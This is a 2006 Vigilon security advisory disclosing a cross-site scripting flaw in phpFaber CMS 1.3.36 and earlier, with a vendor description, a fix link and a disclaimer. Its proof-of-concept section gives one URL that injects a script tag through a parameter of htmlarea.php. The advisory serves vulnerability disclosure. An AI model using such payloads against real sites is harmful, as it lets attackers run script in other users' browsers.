phpFaber CMS Cross Site Scripting

[security () vigilon com]

26/10/06

Vigilon Advisory                http://www.vigilon.com/advisories/vg-phpfaber-24-10-2006.txt

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Application: phpFaber CMS
Web Site:    http://www.phpfaber.com/i/products/cms/
Versions:    1.3.36 and below
Platform:    linux, windows
Bug:         Cross Site Scripting.
Fix Available: Yes
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1) Introduction
2) Bug
3) The Code
4) Fix
5) About Vigilon
6) Disclaimer
7) Feedback

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1) Introduction
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Development of content management system may become a new stage in the life of your website. 
phpFaber CMS is a convenient and useful tool for managing content of your site. 
With the help of CMS you will create your site in no time and you will be able to make all necessary modifications 
immediately, as well as to keep data exact and corrected no matter where you are: at home, at your workplace or having 
rest.
demo version is availble for free.

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2) Bug
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Cross-Site Scripting.

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3) Proof of concept.
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example:

http://server_ip_and_path/cms_images/js/htmlarea/htmlarea.php?vigilon=>"><ScRiPt>alert("XSS")</ScRiPt>

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4) Fix
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The Author has fixed the problem and updated the files with the same version number.
can be downloaded at:

http://www.phpfaber.com/cms_content/files/phpfaber_cms_enc.zip

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5) About Vigilon
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Vigilon Inc. is a security software company that helps organizations, 
and the security providers that serve them, 
reduce business risk while lowering operational security costs.
using the Continual Vigilance platform.

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6) Disclaimer
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The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

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7) FeedBack
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Please send suggestions, updates, and comments to:

Security () vigilon com
http://www.vigilon.com